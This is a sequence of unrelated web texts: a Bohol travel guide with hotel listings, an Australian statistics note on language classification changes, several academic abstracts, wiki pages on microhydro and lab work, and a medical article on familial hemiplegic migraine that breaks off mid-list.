Other ways, to get to different places in Bohol is to rent a car. There are several different transportation companies in Tagbilaran City where you can make arrangements to rent a car or van or jeepney. Taxis are also available, but usually you have to pay in pre-negotiated fare called Pakyaw.
See
The Tarsier monkey of Bohol
Tarsier
For the past 45 million years, tarsiers have inhabited rainforests around the world, but now they only exist on a few islands in the Philippines, Borneo and Indonesia. In Bohol, the Philippine Tarsier was a common sight in the southern part of the island until the 1960's. Once protected by the humid rainforests and mist-shrouded hills, these mysterious primates struggle to survive as their home is cleared for crop growing and poaching.
To date, the Philippine Tarsier Foundation has acquired 7.4 hectares of land in Corella, Bohol for a Tarsier sanctuary. With the Department of Environment and Natural Resources playing an oversight role, the foundation has asked other Bohol towns with Philippines Tarsier populations to donate 20 hectares (49.4 acres) of forestland for conservation.
It also runs a Tarsier Research and Development Center, which serves as a visitor center and venue for research, as well as a habitat preserve. At the sanctuary, a spacious net enclosure keeps a number of Philippine Tarsiers for feeding, captive breeding and display. Here, visitors can observe the Philippine Tarsier in their natural habitat. Within the sanctuary, the Philippine Tarsiers roam freely and all of them have got used to a seven-foot high fence that circumscribes the territory and which serves mainly to protect them from predators like feral cats while maintaining a theoretical chance for tarsiers to leave the enclosure and return as their wish.
Do not visit the caged Tarsiers which are elsewhere on the island (especially in Loboc). These are kept in insufficient conditions and often die of stress from the visitors and poor care. Dead animals are frequently replaced by new one illegally captured from the while creating a high stress on the yet surviving population.
The Tarsier was used by Stephen Spielberg as the inspiration for E.T.
Official Website of the Philippine Tarsier Foundation, Inc.
The Chocolate Hills
The Chocolate Hills of Bohol
The Chocolate Hills are probably Bohol's most famous tourist attraction. The hills, which look like giant mole hill, are considered unusual geological formation that consists of at least 1,268 individual mounds that are scattered throughout the municipalities of Carmen, Batuan, and Sagbayan. The hills range from 30 to 50 meters high and are covered in green grass, which turns to brown during the dry season, making them look like chocolate mounds. ( Quoted from "Your Guide to Bohol" by Sanchez-Bronce, Loop and Carpentier)
Legend has it that the hills came into existence when two giants threw stones and sand at each other in a fight that lasted for days. When they were finally exhausted, they made friends and left the island, but left behind the mess they made. For the more romantically inclined is the tale of Arogo, a young and very strong giant who fell in love with an ordinary mortal girl called Aloya. After she died, the giant Arogo cried bitterly. His tears then turned into hills, as a lasting proof of his grief. [2].
However, up to this day, even geologists have not reached consensus on how they where formed. The most commonly accept theory is that they are the weathered formations of a kind of marine limestone on top of a impermeable layer of clay.
Do
• Danao Adventure Park (E.A.T. Danao), Barangay Magtangtang, Danao, Bohol, [3]. 8:00am-4:00pm. Extreme/Eco/Educational Adventure Park that offers various activities for all ages. It boasts of a sky-ride, zip-line, river tubing, caving and trekking activities that will surely make a visit to Bohol memorable. It promises to be a whole new experience far superior to the common offer of Chocolate Hills’ tour, tarsier and dolphin/whale watching. Rates vary depending on choice of package or activity.
• Island Hopping. There are several uninhabited islands to explore just ten-minute boat ride from Panglao Island.
Bohol Virgin Island
One can escape from the resort crowd and head for quiet towards the clean white sands of Virgin Island. Technically speaking, Virgin Island is a only sandbar. Even during lowtide, the center part of this crescent moon shaped islet is submerged under 6 inches of water. This flooding divides the Virgin Island into two islets. The submerged part of the islet is a good spot to take photographs because it gives an illusion of walking over the water. There are no accommodations or infrastructures in this small unspoiled island but this only adds its peaceful charm.
• Massage/Spa
• Diving: Bohol boasts the best diving sites in the world, and there are many diving center to provide the training courses for OW,AOW and so on.
Buy
Bohol is known for its bee farm. The honey they get here has become a popular treat. It is also believed that honey from the Bohol Bee Farm has medicinal uses. Honey from Bohol got added uses in certain delicacies and recipes.
Eat
Budget
Mid-range
• Pyramid Bar and Restaurant is an al fresco restaurant along Alona Beach. Aside from fresh seafood catch, the restaurant serves other varieties like sandwiches, pasta, noodles, chili chicken, beef teriyaki and pork cordon bleu. The bar serves fresh fruit juices, carbonated drinks, beer, wine and cocktails. At night, torches complete the tropical dining atmosphere.
Splurge
Drink
Sleep
Bohol's rapidly growing status as a developing tourist attraction in the Philippines has resulted in the improvement of its tourist facilities. From quality boutique hotels to delightfully quaint bed-and-breakfasts, lovely top of the line hotels and resorts to a simple bed rented from a resident. As such, whatever your budget, you could easily find a suitable place to stay. During peak periods such as Holy Week, Christmas and New Year, rooms may be a bit more difficult to find and more expensive so it would be advisable to reserve in advance.
Tagbilaran City
• Metro Centre Hotel, CPG Ave., Tagbilaran City, Bohol Philippines, (63 38) 411-2599 (), [4]. At the heart of the financial and commercial district stands the imposing 8-storey Metro Centre Hotel and Convention Center. The property is equipped with the finest amenities for business travel and leisure. The health club features exercise facilities that include sauna, jacuzzi and massage.
• Solidad Suites, J.C. Borja St. cor M. Parras St., Tagbilaran City, Bohol Philippines, (63 38) 411-3074, [5].
• Vest Pension House, Tamblot Ext., Tagbilaran City, Bohol Philippines, (63 38) 501-8079, [6].
File:PanglaoBohol.JPG
Panglao Island Nature Resort and Spa
• Darunday Manor, 22 J. A. Clarin St., Tagbilaran City, Bohol, (63-38) 411-2512, [7]. checkin: 1400; checkout: 1200. Located at the heart of Tagbilaran City, Darunday Manor is a walking distance to the City's main attractions. It has nine air-conditioned rooms, each room with solar-heated showers and baths. from US$28.
Panglao Island
• Amarela Resort, Barangay Libaong, Panglao Island, Bohol Philippines, (+63) 38 502-9497 to 99 (Bohol) / (+63) 2 911-5203 (Manila Office). Amarela Resort is a Mediterranean-style villa built on top of a gentle slope.
A beach resort in Bohol
The restaurant, which is managed by the same resort, has a spectacular view of the mountains and the sea. It has a swimming pool and a well manicured flower garden with steps leading down towards the beach. Because there are no other resorts nearby, the beach was able to keep its cleanliness and exclusivity. Starfish and other marine life can be easily spotted along the shallow waters. This resort is a quiet alternative to the usually busy Alona Beach.
• Bita-Ug Beach Resort (Affordable Beach Resort Accomodation in Panglao, Bohol), Daorong, Danao, Panglao, Bohol, Philippines, +63 38 5028106,+63 9192259935,+63 922 8650162,+63 9274356709 (), [8]. checkin: 2PM; checkout: 12PM. Bita-ug Beach Resort offers air-conditioned cottages in a unique native design that will surely capture your senses. It is one of the dream vacation destination the Island of Panglao, Bohol, Philippines. 1600.
• Bohol Vantage Resort, 1, Panorama St, Barangay Mayacabac, Dauis, Panglao Island, +63 (0) 38 5023106 (), [9]. checkin: 14:00; checkout: 11:00. This resort is located at a calm place on Dayo Hill with a magnificent 210-degrees wide panoramic view overlooking Bohol and the islands of the Central Visayas. The newly built resort offers 6 apartments and 8 hotel rooms. The apartments are about 65-90 sqm large and include a very spacious roofed terrace, air conditioning, kitchen with refrigerator and cooking facilities, cable-TV, DVD-Player, free Internet-access and safety deposit box. The hotelrooms are about 44 sqm large and have refrigerator, cable-TV, DVD-Player, free Internet-access and safety deposit box.
• Hayahay Resort in Panglao Island, Bohol, Alona Beach, Panglao Island, Bohol Philippines, (0063) 38 502 9056, [10]. Hayahay Resort is a tropical paradise for diving enthusiasts and holiday seekers. This Alona Beach resort has an open restaurant on the beach, 11 comfortable rooms with private bath and Wi-Fi access, and exciting water activities like snorkeling, dolphin watching, and scuba diving.
• Isola Bella Beach Resort, Lagitan, Poblacion, Panglao Island, (0063) 38 416 0781 (), [11]. Isola Bella Beach Besort is a place to rest and relax. Luxury aircon rooms, cable TV, personal ref, hot and cold shower, spacious CR, all rooms facing swimming pool. Extra bed available, parking space, free coffee, free breakfast and free round trip to Virgin Island which is 15mins boat drive far.
• Linaw Beach Resort (Linaw Beach Resort Panglao Island, Bohol), 9999 Daorong, Danao, Panglao, Bohol Philippines, (63 38)502-9345 (), [12]. One of the newest beach resorts situated directly on a very private section of Alona Beach. Has a vegetarian restaurant and serves cocktails.
• Bohol Beach Club, Bolod, Panglao, Bohol Philippines, (63 38) 411-5222 to 24 (), [13]. The resort boasts of an exclusive one and half kilometer stretch of white sand, the largest shoreline in that area. Guest can also enjoy a relaxing swim in the kidney shaped pool set in lush greenery or simply laze at the outdoor jacuzzi. The club has aqua sports that include snorkeling, fun island dives, sailing, kayaking, and whale and dolphine watching
• Flushing Meadows Resort and Playground, Brgy. Dao, Dauis, Panglao Island,Bohol Philippines, (63 38) 502-2122 (, fax: (63 38) 502-2122 loc. 102), [14]. Flushing Meadows Resort & Playground is Bohol's most exclusive deluxe resort. Guests at this lovely Bohol resort may expect a truly pleasurable tropical paradise experience. Fishing and diving facilities, a private beach, a spectacular children's playground, and an international-standard tennis court are among the many attractions at this resort in Bohol. Accommodations here combine island decor with modern amenities; private balconies provide stunning seaviews. Best rates on official website start at US$105.
• Panglao Island Nature Resort and Spa, Bingag, Dauis, Panglao Island, Bohol Philippines, (63 38) 411-5878 / 411-5982 (), [15]. Small cluster of accommodations have private spacious paties with comfortable chaise lounge, an ideal spot for room service for breakfast or leisure reading. Rooms are equipped with the state of the art amenities. The management ensures that service is impeccable and the stuff are the friendliest one will ever meet.
• Paragayo Resort in Panglao Island, Bohol, Alona Beach, Panglao Island, Bohol Philippines, (0063) 38 502 9172, [16]. Paragayo Resort is a Modern Native inspired resort designed and ran by British national Mark Kilroy. Located 3 minutes walking distance from the world famous Alona Beach, Paragayo Resort combines the crisp island air of Bohol with its international-standard budget resort feel
• Chiisai Natsu Resort, Panglao Island Circumferential Road, Panglaos, (038) 502-4115 (), [17]. checkin: 2PM; checkout: 12PM. Chiisai Natsu Resort caters to single vacationers, families and corporate groups.
Baclayon
Baclayon has a great range of accommodation providers, from home-stays in the historic ancestral houses, to high-class luxury resorts and spas. Located only 7km from Tagbilaran City makes it an ideal location to be based for a holiday on Bohol without the hustle and bustle of "the big city".
Budget
• Bohol Narra Homestay, Pobalcion, Baclayon, +63-38-540-9435. Nestled in a tranquil locality beside the sea and surrounded by luscious trees, Bohol Narra Homestay provides a great family option with one room comprising of four beds available. Php1200 per night (for 2) including breakfast.
• Homestay de Bai, Poblacion, Baclayon, +63-38-540-9056, [18]. Located very centrally beside the Baclayon Church, Homestay de Bai offers simple and clean air-con rooms with an ideal location. Room prices are Php1000–1200 per room per night (for 2) including breakfast.
• Malon House, Poblacion, Baclayon, +63-38-540-9514. Dating back to the 19th Century, Malon House is the largest of the ancestral houses in Baclayon. As unassuming as it looks from the outside, inside it’s historic grandeur is realized with antique furniture, religious icons, paintings, and impressively large wooden floorboards. Rooms including breakfast are Php1200 per night.
• Mary's Pamilacan Cottages, Pamilacan Island, +63-917-7021468. Located right on the shore front of Pamilacan Island, these very basic but clean cottages offer a ideal escape from the hustle and bustle of mainland towns. Prices are; Cottage Php500 pp/night including breakfast and dinner; Cottage including 3 meals Php750 pp/night; Large cottage including meals Php1000 pp/night
• Villa 301 B & B, 301 Bonifacio Street, Baclayon, +63-38-540-9181, [19]. Modern gated house with four non-smoking bedrooms. Bed & Breakfast prices from 800-1500 pesos/night based on double occupancy. 1 extra person/bed, 250 pesos/night.
Mid-Range
• Bohol Coconut Palms Resort, Aba-a St. Laya, Baclayon Bohol, Philippines 6301, (02) 526 0157, [20]. Bohol Coconut Palms Resort have opened their doors to provide you with wonderful facilities and warm service. It is truly a venue you can enjoy with your family, friends, and even your colleagues. The resort also has a function room that can accommodate 200 people. You can also find pleasure in their leisure facilities. These include a semi-Olympic-size swimming pool with slides and kiddie pool with fountain. Best rates on official website start at Php 1,300.
Luxury
• The Peacock Garden Luxury Resort and Spa, Upper Laya, Baclayon, +63-38-539-9231, [21]. Peacok Garden is an elegant German-owned and managed resort perched on a hill with an extremely impressive infinity pool overlooking the seascape and Pamilacan Island. This was the first resort in Bohol to be granted 5-star accreditation. The resort features a fine-dining restaurant, a Roman-inspired spa, a wine cellar, music and dance club, fitness room and a member’s only cigar lounge. Prices range Php8,000 - 18,000 per room per night.
Contact
Stay safe
Where to stay in Bohol
Cope
Get out
• Cebu is one and a half hour trip by fast ferry. Bohol's Tagbilaran City Seaport has eight daily fast craft services to Cebu City. Trips are available from 6AM to 7PM.
• Camiguin
• Leyte
• Negros Oriental
• Siquijor
This is a usable article. It has information for getting in as well as some complete entries for restaurants and hotels. An adventurous person could use this article, but please plunge forward and help it grow!
This article contains content from Wikipedia's Bohol article. View that page's revision history for the list of authors.
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
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9301.0 - New Motor Vehicle Registrations, Australia: Preliminary, Dec 1997
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Australian Bureau of Statistics
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1267.0 - Australian Standard Classification of Languages (ASCL), 2011
Latest ISSUE Released at 11:30 AM (CANBERRA TIME) 16/08/2011
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WHAT'S CHANGED
SUMMARY OF CHANGES
This is a minor review and there are no proposed changes to the broad level of the classification. Changes have been limited to the name change of one narrow group, to more accurately reflect the languages within it, adding languages, removing some language names, amending the names of some languages and adding appropriate entries to the expanded structure and coding index. These changes are based on Census 2006 line count data, research from external sources, and stakeholder requests and queries.
LANGUAGES TO BE ADDED TO THE CLASSIFICATION
Indigenous Languages
48 Australian Indigenous languages have been added to the classification. The following additions were made:
• six languages to Narrow Group 81 Arnhem Land and Daly River Region Languages
• nine languages to Narrow Group 82 Yolngu Matha
• six languages to Narrow Group 83 Cape York Peninsula Languages
• nine languages to Narrow Group 86 Arandic
• one language to Narrow Group 87 Western Desert Languages
• two languages to Narrow Group 88 Kimberley Area Languages
• 15 languages to Narrow Group 89 Other Australian Indigenous Language.
Non-Indigenous Languages
27 Non-Indigenous languages have been added to the ASCL. This is based on information including the number of humanitarian visas granted in Australia, migration levels, and Census and speaker number counts:
• the addition of Czechoslovakian, so described (3604) to Narrow Group 36 West Slavic
• Hazaraghi (4107) has been added to Narrow Group 41 Iranic
• the addition of Assyrian Neo-Aramaic (4206), Chaldean Neo-Aramaic (4207) and Mandaean (Mandaic) (4208) to Narrow Group 42 Middle Eastern Semitic Languages
• Fijian Hindustani (5217) has been added to Narrow Group 52 Indo-Aryan
• Rohingya (6104) has been added to Narrow Group 61 Burmese and Related Languages
• Min Nan (7107) has been added to Narrow Group 71 Chinese
• 17 African Languages have been added to Narrow Group 92 African Languages
• Motu (Hiri Motu) (9503) and Tok Pisin (Neomelanesian) (9504) have been added to Narrow Group 95 Papua New Guinea Languages.
LANGUAGE GROUPS AND LANGUAGES WHICH HAVE BEEN RENAMED OR RE-DESCRIBED
Indigenous Languages
Ten Indigenous languages have been renamed or re-assigned codes in the ASCL, based on genetic affinity, and geographic and cultural information:
• Garrwa, Ngandi and Yanyuwa have all moved from their previous locations to Narrow Group 81 Arnhem Land and Daly River Region Languages
• Dhuwaya and Madarrpa have been relocated to 829 Other Yolngu Matha
• to exhaust language possibilities, 'not elsewhere classified' (nec) has been added to Yolngu Matha (8299)
• in response to stakeholder feedback, the language name Torres Strait Creole (8403) has been replaced with Yumplatok (Torres Strait Creole)
• Kija has moved to Narrow Group 88 Kimberley Area Languages.
Non-Indigenous Languages
To better reflect the languages in each group, the following languages have been renamed, deleted or re-described, based on research and stakeholder recommendations:
• the language Assyrian has been removed. It was previously used to describe Neo-Aramaic languages including Assyrian Neo-Aramaic, Chaldean Neo-Aramaic and Mandaean
• Haka (6102) has been renamed Chin Haka to correctly reflect that language group
• Teo Chew and Hokkien have been amalgamated into Min Nan (7107) to correctly classify them as a single language
• Narrow Group 95 has been renamed Papua New Guinea Languages. Its 'not elsewhere classified' (nec) code has been renamed Papua New Guinea Languages, nec
• Motu, also known as Hiri Motu, has been moved to Narrow Group 95
• the Papua New Guinea language Tok Pisin, also described as Neomelanesian, has been relocated to Narrow Group 95.
PROPOSED CHANGES TO THE EXPANDED STRUCTURE
Indigenous Languages
20 Indigenous language entities within the expanded structure (three digit level) of the classification have been added or assigned different codes, based on stakeholder advice:
• Gundjeihmi, Kune, Kuninjku, Kunwinjku and Mayali have moved to the new expanded structure of Kunwinjkuan (817) as dialects of the Kunwinjkuan language
• included in the new third level category, Burarran (818) are dialects Burarra, Gun-nartpa and Gurr-goni
• Anmatyerr (861) has an expanded structure and includes the dialects Central Anmatyerr and Eastern Anmatyerr
• Arrernte (862) has been added as a third level category. Included in this expanded structure are Eastern Arrernte and Western Arrarnta
• 'not elsewhere classified' (nec) codes for Kunwinjkuan, Burraran, Anmatyerr and Arrernte, have been added to classification.
CHANGES TO THE CODING INDEX
Indigenous Languages
A number of changes have been made to Indigenous languages in the coding index which include:
• alternate names for languages have been be added to the coding index
• some Indigenous languages have been re-grouped and re-coded and so their alternate names in the coding index have also changed in code structure
• a number of Indigenous languages have been added to 'not elsewhere classified' (nec) categories, including 89 Other Australian Indigenous Languages, nec
• Milingimbi will be deleted from the coding index as it is a place name not a language.
Non-Indigenous Languages
A number of changes have been made to non-Indigenous languages in the coding index. These changes include:
• Kurdish is broken into three language groups and these will be indexed
• various Karen dialects will be listed under code 6103 Karen, based on research and stakeholder feedback about Burmese languages
• a number of Chin languages will be listed under the code 6199 Burmese and Related Languages, nec
• Hokkien, Teo Chew, Fukien, Hainan and Taiwanese will be indexed under 7107
• several languages added to the classification have alternate names which will be added to the index
• changes have been made to the coding index for Chin. The term Chin now only applies to Burmese Chin Languages
• the coding index will be changed to correctly reflect Slovensky as a variant of Slovak (6303) rather than Slovenian (3506)
• Aussie Pigeon and Aussie Pidgin (9401) will be deleted based on stakeholder advice and external research.
COMPARING CURRENT AND PREVIOUS EDITIONS OF THE ASCL
The ABS urges users and providers of language data to collect, classify and disseminate data using the 2011 second edition of the ASCL from the time of its implementation. There will be circumstances where users need to convert data from the 2011 second edition to the 2005 second edition. To facilitate this process, a correspondence table between the classification structures of the 2011 second edition and 2005 second edition is provided. In most cases, the languages of the two editions of the classification retain a one-to-one relationship. The correspondence table itemises the code linkages between the languages, details the links between the broad groups and the narrow groups, and indicates the movement of particular languages between groups in the two structures. Correspondences are provided in the ASCL data cube.
The codes in both editions relate to the same entity. In some instances, there is not a direct relationship between the languages or language groupings of the structures of the two editions. Partial linkages at both the language and language group level are indicated by including the word 'part' after the name of the language or language group concerned.
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Catalogue Number
4190.2 - National Aboriginal and Torres Strait Islander Survey: Victoria, 1994
Latest ISSUE Released at 11:30 AM (CANBERRA TIME) 17/09/1996
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Contains data from the 1994 National Aboriginal and Torres Strait Islander Survey based on Detailed Findings for each State/Territory, consistent with the Natsis series of putput publications. Major topics will include- Family & Culture; Health; housing; Employment and Income Education and Training Law and Justice.
This publication has been converted from older electronic formats and does not necessarily have the same appearance and functionality as later releases.
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Microhydro
From Appropedia
Jump to: navigation, search
See also the Microhydro category.
for subtopics, how-tos, project pages, designs, organization pages and more.
Contents
Microhydro systems are specifically those systems that are not grand in scale. Damming a river usually will not qualify as microhydro, but partially diverting a stream into a holding tank and running the water into a small hydro-electric turbine or pelton wheel is more along the lines of what the term microhydro refers to.
The following article is a brief overview of the more technical aspects and considerations needed to design and construct a microhydro system.
[edit] Determining available power
See Hydropower#Analyzing_the_available_hydropower, Hydropower#Measuring_the_flow_of_the_water_energy_source and Hydroelectricity#Determining_the_powerpotential_of_a_site
[edit] Choosing an water energy harvester
The water energy harvester you can use greatly depends on the specific flow of the water energy source you have available (for example, does the water come from a hill or does it flow relatively horiontal ?). In addition, it also depends on what your objective is (ie do you want to produce electricity, generate simple mechanical work, store electricity ?), your budget (which determines the size of the device you can build) and the impact on the water source (it is best not to use the full potential energy of the water source so that organisms living in the water source are not disturbed too much).
[edit] References
[edit] Resources
• CD3WD - Helping the 3rd World to help itself
• A website which gathers articles from NGO's and other organizations and compiles them on CD's . The images of that CD's can be downloaded through their website. The CD's that have identified by me to contain information about hydro power are cd3wd407 and cd3wd430.
• Power versus Pipe Diameter
• Live spreadsheet graph of Power versus Pipe Diameter for Various Flows (0 to 150GPM). Customizable amount of run and fittings.
This topic is moderated by Lonny
[edit] Interwiki links
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Research article
Impact of symptoms on quality of life before and after diagnosis of coeliac disease: results from a UK population survey
Alastair M Gray1* and Irene N Papanicolas2
Author Affiliations
1 Health Economics Research Centre, Department of Public Health, University of Oxford, Old Road Campus, Oxford, UK
2 LSE Health, London School of Economics and Political Science, Houghton Street, London, UK
For all author emails, please log on.
BMC Health Services Research 2010, 10:105 doi:10.1186/1472-6963-10-105
Published: 27 April 2010
Abstract
Background
Coeliac disease is a common chronic autoimmune disorder. Underdiagnosis is common and the quality of life impact of symptoms may be severe. We report a study of symptom duration and quality of life before and after diagnosis in a representative sample of people with diagnosed coeliac disease in the UK.
Methods
Postal questionnaire of 2000 people with diagnosed coeliac disease, requesting information on date of diagnosis, type and duration of symptoms, and quality of life before and after diagnosis using the EQ-5D instrument.
Results
The survey response rate was 40% (788/2000). Mean duration of symptoms prior to diagnosis was 13.2 years, with some evidence of shorter duration in recent years. Respondents reported a mean of 13 consultations with their GP about their symptoms prior to diagnosis. The mean utility value of pre-diagnosis quality of life was 0.56, compared to 0.84 at time of survey, a highly statistically significant improvement of 0.27 (95% c.i. 0.25, 0.30).
Conclusions
The symptoms of undiagnosed coeliac disease are associated with a prolonged and substantial decrement to quality of life. These results strengthen the case for detailed examination of the cost-effectiveness of improved methods of detection and diagnosis, including population screening.
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Recycling Practice to Promote Sustainable Behavior at University Campus
Shahrom Md Zain, Noor Ezlin Ahmad Basri, Nur Ajlaa Mahmood, Hassan Basri, Norhidayu Zakaria, Rahmah Elfithri, Maisarah Ahmad, Tiew Kian Ghee, Zarina Shahudin
Abstract
In this paper, attitudes toward sustainable behavior refer to an individual’s responsibility in using the natural resources granted by Allah S.W.T. while taking into consideration the interests of future generations. These actions must start from oneself, and include simple and immediately necessary actions. For example, recycling is a simple practice that must be engaged in by all individuals. As a leading university that launched a SUSTAINABLE PROGRAM involving the majority of its highly educated community, its image would be tarnished if this simple practice was not carried out. Universiti Kebangsaan Malaysia (UKM), through its zero waste campus initiative and in collaboration with the research group of Alam Flora Sdn Bhd, has deployed recycling activities effectively since 2010 using an improved a management recycling system, improving existing facilities and intensifying awareness campaigns. However, the response from the UKM community is low, with an average recycling rate of 1.75% (April 2010 to July 2012) and an average of eight persons/week who sent recyclable items to the UKM Recycling Center (April 2011 to July 2012). Surveys taken regarding the involvement of the UKM community in recycling activity are discussed to obtain an overview of the facilities and the changes required to improve the recycling management system. Based on a problem analysis using a fishbone diagram, peoples’ attitudes are shown to be a primary cause of the low response to the recycling program. The targeted recycling rate of 20% requires the continued cooperation and efforts of the entire UKM community to promote an educated culture of sustainability at the University.
Full Text: PDF DOI: 10.5539/ass.v8n16p163
This work is licensed under a Creative Commons Attribution 3.0 License.
Asian Social Science ISSN 1911-2017 (Print) ISSN 1911-2025 (Online)
Copyright © Canadian Center of Science and Education
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The Impact of Macroeconomic Factors on Amman Stock Market Returns
Hasan Mohammed El-Nader, Ahmad Diab Alraimony
Abstract
The purpose of this research is to investigate the impact of macroeconomic factors on Amman Stock Market (ASE) Returns employing monthly data between (1991and 2010). This study uses six macroeconomic factors: Real money supply (RMS2), real gross domestic product (RGDP), consumer price index (CPI), real exchange rate (E1), weighted average interest rates on loans and advances (WAIR), and a dummy variable (DUM). The normality test and unit root tests are applied to the data. Also, OLS, ARCH /GARCH models are utilized. The OLS estimations are inefficient due the existence of serious autocorrelation and a sign of Multicollinearity, and are inconclusive. For this, the study used ARCH/ GARCH estimation models. The extension to a GARCH (1, 1) does not seem necessary. However, the ARCH (1) performed well. The results of the ARCH (1) estimation showed that RMS2, CPI, E1, WAIR and the Dummy Variable have a negative role on the ASE returns. In contrast, the RGDP has a positive impact.
Full Text: PDF DOI: 10.5539/ijef.v4n12p202
This work is licensed under a Creative Commons Attribution 3.0 License.
International Journal of Economics and Finance ISSN 1916-971X (Print) ISSN 1916-9728 (Online)
Copyright © Canadian Center of Science and Education
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Changes related to "Alberta, Canada, Birth, Marriage, and Death Records 1870 to the Present"
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About this Journal Submit a Manuscript Table of Contents
International Journal of Vascular Medicine
Volume 2012 (2012), Article ID 903107, 9 pages
doi:10.1155/2012/903107
Review Article
Assessments of Arterial Stiffness and Endothelial Function Using Pulse Wave Analysis
1School of Sport and Exercise, Massey University, P.O. Box 756, Wellington 6140, New Zealand
2Lipid and Diabetes Research Group, Diabetes Research Institute, Christchurch Hospital, Christchurch 8011, New Zealand
3Department of Medicine, University of Otago, Christchurch 8140, New Zealand
4School of Sciences and Physical Education, University of Canterbury, Christchurch 8140, New Zealand
Received 29 September 2011; Revised 16 February 2012; Accepted 2 March 2012
Academic Editor: Robert M. Schainfeld
Copyright © 2012 Lee Stoner et al. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Abstract
Conventionally, the assessments of endothelial function and arterial stiffness require different sets of equipment, making the inclusion of both tests impractical for clinical and epidemiological studies. Pulse wave analysis (PWA) provides useful information regarding the mechanical properties of the arterial tree and can also be used to assess endothelial function. PWA is a simple, valid, reliable, and inexpensive technique, offering great clinical and epidemiological potential. The current paper will outline how to measure arterial stiffness and endothelial function using this technique and include discussion of validity and reliability.
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Bibliography: Introduction (Devils & Demons)
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Title: Introduction (Devils & Demons)
Author: Marvin Kaye
Year: 1987
Type: ESSAY
Language: English
ISFDB Record Number: 1187651
User Rating: This title has fewer than 5 votes. VOTE
Current Tags: None Add Tags
Publications:
Copyright (c) 1995-2011 Al von Ruff.
ISFDB Engine - Version 4.00 (04/24/06)
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Frankel:Force Spectroscopy
From OpenWetWare
Revision as of 22:20, 8 November 2012 by Daniel Frankel (Talk | contribs)
Jump to: navigation, search
Force Spectroscopy
Force spectra taken on raised terraces and lower features. Rupture force distribution of self assembled gp160 unfolding on terraced and lower regions. Rupture forces were measured as 79.6 mas menos 3.9 pN and 81.3 mas menos 3.8 pN for the terraces and lower regions, respectively.
HIV-gp160
HIV-gp160
Sawtooth pattern on the retraction force curve indicating the unfolding of fibronectin. The average rupture force distribution of the protein on mica surface was 85.1 mas menos 2.7 pN.
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Silver: Synthetic Biology
From OpenWetWare
Revision as of 15:48, 9 December 2005 by JulianEskin (Talk | contribs)
Jump to: navigation, search
Synthetic biology focuses on design and construction of synthetic genomes and programmed cells through cycles of computer modeling, assembly, and testing (not necessarily in that order). The goal of synthetic biology (at least in our lab) is to both enhance our understanding of biological systems and to develop tools for constructing organisms with defined functions and outputs. In the long term, we hope to develop a set of parts and principles for building eukaryotic cells that might act as novel sensors or memory cells. We also hope to use standardized parts to build novel proteins that could have therapeutic value.
Current projects focus on using the added complexity of eukaryotes (both yeast and mammalian cells) in our designs and include the construction of standardized parts for designer proteins with well-defined functions, a cellular oscillator based on nuclear/cytoplasmic localization and a lifespan counter for analyzing cellular aging (Ira Phillips, Caroline Ajo-Franklin, Dirk Landgraf, Caleb Kennedy, Bruno Afonso).
Personal tools
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Site Rules
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As a user, you are entitled to the following rights, and held to the following obligations:
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Familial hemiplegic migraine
Jump to: navigation, search
Familial hemiplegic migraine
ICD-10 G43.1
ICD-9 346.8
OMIM 141500 602481 609634 607516
DiseasesDB 4693
eMedicine neuro/219
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Familial hemiplegic migraine
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Overview
Familial hemiplegic migraine (FHM) is an autosomal dominant classical migraine subtype that typically includes hemiparesis (weakness of half the body) during the aura phase. It can be accompanied by other symptoms, such as ataxia, coma and epileptic seizures. There is clinical overlap in some FHM patients with episodic ataxia type 2 and spinocerebellar ataxia type 6, benign familial infantile convulsions, and alternating hemiplegia of childhood. There are 3 known loci for FHM. FHM1, which accounts for approximately 50% of FHM patients, is caused by mutations in a gene coding for the P/Q-type calcium channel α subunit, CACNA1A. FHM1 is also associated with cerebellar degeneration. FHM2, which accounts for <25% of FHM cases, is caused by mutations in the Na+/K+-ATPase gene ATP1A2. FHM3 is a rare subtype of FHM and is caused by mutations in a sodium channel α-subunit coding gene, SCNA1. These three subtypes do not account for all cases of FHM, suggesting the existence of at least one other locus (FHM4). Many of the non-familial cases of hemiplegic migraine (sporadic hemiplegic migraine) are also caused by mutations at these loci.
Classification
FHM can be loosely divided into two categories: with and without cerebellar signs. Cerebellar signs refer to ataxia, sometimes episodic and other times progressive, that can accompany FHM1 mutations and is caused by degeneration of the cerebellum. These cerebellar signs result in a phenotypic overlap between FHM and both episodic ataxia and spinocerebellar ataxia. This is unsurprising as subtypes of these disorders (FHM1, EA2 and SCA6) are allelic, i.e., they result from mutations in the same gene. The other forms of FHM seem to be distinguishable only on the basis of their genetic cause.
There are also non-familial cases of hemiplegic migraine, termed sporadic hemiplegic migraine. These cases seem to have the same causes as the familial cases and represent de novo mutations. Sporadic cases are also clinically identical to familial cases with the exception of a lack of family history of attacks.
Signs and symptoms
FHM signs overlap significantly with those of migraine with aura. In short, FHM is typified by migraine with aura associated with hemiparesis and, in FHM1, cerebellar degeneration. This cerebellar degeneration can result in episodic or progressive ataxia. FHM can also present with the same signs as benign familial infantile convulsions (BFIC) and alternating hemiplegia of childhood. Other symptoms are altered consciousness (in fact, some cases seem related to head trauma), gaze-evoked nystagmus and coma. Aura symptoms, such as numbness and blurring of vision, typically persist for 30-60 minutes. These signs typically first manifest themselves in the first or second decade of life.
Causes
See the equivalent section in the main migraine article.
It is believed that FHM mutations lead to migraine susceptibility by lowering the threshold for cortical-spreading-depression generation. The FHM1 and FHM3 mutations are occur in ion channels expressed in neurons. These mutations may lead to both the hyper and hypoexcitable neurons that might underlie cortical-spreading-depression. It is even less clear how the mutations seen in FHM2 patients might lead to FHM symptoms as the gene mutated in FHM2 is expressed primarily in astrocytes. One proposal states that the depolarization of astrocytes caused by haploinsufficiency of the ATP1A2 Na+/K+-ATPase causes increased release of compounds such as adenosine from astrocytes. These compounds then interact with neighboring neurons, altering their excitability and leading to cortical-spreading-depression and migraine.
Diagnosis
Diagnosis of FHM is made according to the following criteria:
• Two attacks of each of the following:
• Aura with motor weakness accompanied by either reversible visual symptoms (flickering lights, spots, lines, etc.), reversible sensory symptoms (pins and needles, numbness, etc.) or speech symptoms.
• At least two occurrences of:
• One or more aura symptoms that develop over at least 5 minutes
• These symptoms lasting more than 5 minutes and less than 24 hours
